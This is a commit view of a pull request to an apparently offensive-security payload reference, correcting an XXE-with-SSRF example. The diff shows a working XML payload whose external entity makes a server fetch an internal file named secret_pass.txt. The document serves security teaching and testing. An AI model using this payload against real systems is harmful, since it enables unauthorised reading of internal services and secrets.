Merge pull request #791 from piranhaAD/patch-1

Correcting the  Payload for xxe ssrf
This commit is contained in:
Swissky
2025-11-15 11:19:05 -05:00
committed by GitHub

View File

@@ -155,7 +155,7 @@ XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
<!ENTITY xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>
```